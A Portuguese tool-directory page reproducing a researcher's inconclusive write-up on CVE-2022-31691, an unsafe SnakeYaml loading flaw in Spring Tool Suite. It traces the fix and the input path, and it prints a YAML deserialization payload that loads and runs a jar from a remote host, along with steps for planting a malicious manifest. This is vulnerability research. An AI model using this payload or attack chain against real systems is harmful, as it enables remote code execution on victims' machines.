Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/blipzip/cve-2022-31691
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubblipzip/cve-2022-31691

CVE-2022-31691

A write-up of my (so far inconclusive) look into CVE-2022-31691

Ver Repositório
1há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-31691

Um relatório da minha (até agora inconclusiva) investigação sobre a CVE-2022-31691.

Contexto

Sou um utilizador frequente do Spring Tool Suite (STS) para Eclipse e costumo depender dele para inicializar novos projetos Spring Boot. Esta vulnerabilidade (ver https://tanzu.vmware.com/security/cve-2022-31691) é um RCE que pode ser induzido através do carregamento inseguro de conteúdo de um ficheiro de configuração yaml.

O SnakeYaml é um analisador e emissor yaml muito comum para Java. No entanto, como em qualquer processo de marshalling/unmarshalling, existe sempre o risco de conteúdo indesejado ser carregado diretamente para a memória. O SnakeYaml não é diferente - ver https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.

root@kitploit:~
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.

Com isso em mente, os mantenedores do projeto adicionaram um método SafeConstructor:

root@kitploit:~
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());

A lógica é bastante clara, mas este conselho claramente não está a ser bem seguido. Não precisamos de ir muito longe para ver exemplos de práticas de carregamento inseguras. Até o Baeldung (uma excelente fonte de informação sobre Spring) não menciona isto no seu guia: https://www.baeldung.com/java-snake-yaml#basic-usage.

Para explorar isto, preciso de fazer com que este construtor faça unmarshall de um objeto sobre o qual tenho controlo. Felizmente, outros já fizeram o trabalho pesado aqui. https://github.com/artsploit/yaml-payload é um projeto muito simples para gerar payloads de exploração do SnakeYaml ao estilo de https://github.com/mbechler/marshalsec. A lógica é:

  • usar a biblioteca artsploit para gerar um jar de gadget exploit
  • hospedar esse jar de exploit num servidor web local
  • construir um ficheiro yaml malicioso que irá desencadear o carregamento desse jar na memória
root@kitploit:~
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]
  • descobrir que ficheiros yaml estão a ser carregados pelo STS de forma insegura
  • criar um projeto eclipse que inclua este ficheiro yaml malicioso e garantir que segue a cadeia de ataque acima até alcançar a execução de código.

As alterações no STS

Encontrar o commit

Esta vulnerabilidade foi corrigida na versão 4.16.1 do STS. Uma rápida olhada nos commits desta versão oferece algumas pistas úteis sobre o que foi corrigido - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE

A mensagem neste commit - "Use SafeConstructor in Snakeyaml YAML constructors" é uma boa indicação do que foi corrigido.

De facto, aqui é onde o SafeConstructor é substituído.

root@kitploit:~
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));

Se estou interessado em explorar isto, preciso de colocar algum conteúdo malicioso neste construtor SnakeYaml, por isso preciso de rastrear de onde é chamado.

Encontrar de onde vem a entrada

A criação do objeto SnakeYaml é alimentada por um objeto InputStream que é criado por um método getInputStream().

getInputStream() chama getManifestFile() para determinar qual ficheiro de manifesto carregar.

getManifestFile() retorna ou a localização de um ficheiro de manifesto (se especificado no construtor), ou null.

A classe ApplicationManifestHandler é inicializada na classe CloudFoundryBootDashModel aqui e recebe um valor derivado de um valor definido no construtor do método resolveDeploymentProperties aqui.

Onde estou até agora - bloqueado!

Tenho a certeza de que preciso de configurar alguma configuração do CloudFoundry para que ele tente carregar/invocar o meu ficheiro manifest.yml malicioso.

Acontece que o CloudFoundry é uma tecnologia em declínio, graças (suponho) ao Kubernetes e afins. Não consigo encontrar nenhum tipo de plataforma pública para criar uma conexão CF, por isso não consigo testar as coisas a partir daqui.

Próximo passo

Investigar a possibilidade de iniciar uma instância de desenvolvimento local do CloudFoundry, nem que seja para testar o meu entendimento da vulnerabilidade e do exploit.

Baixar ferramenta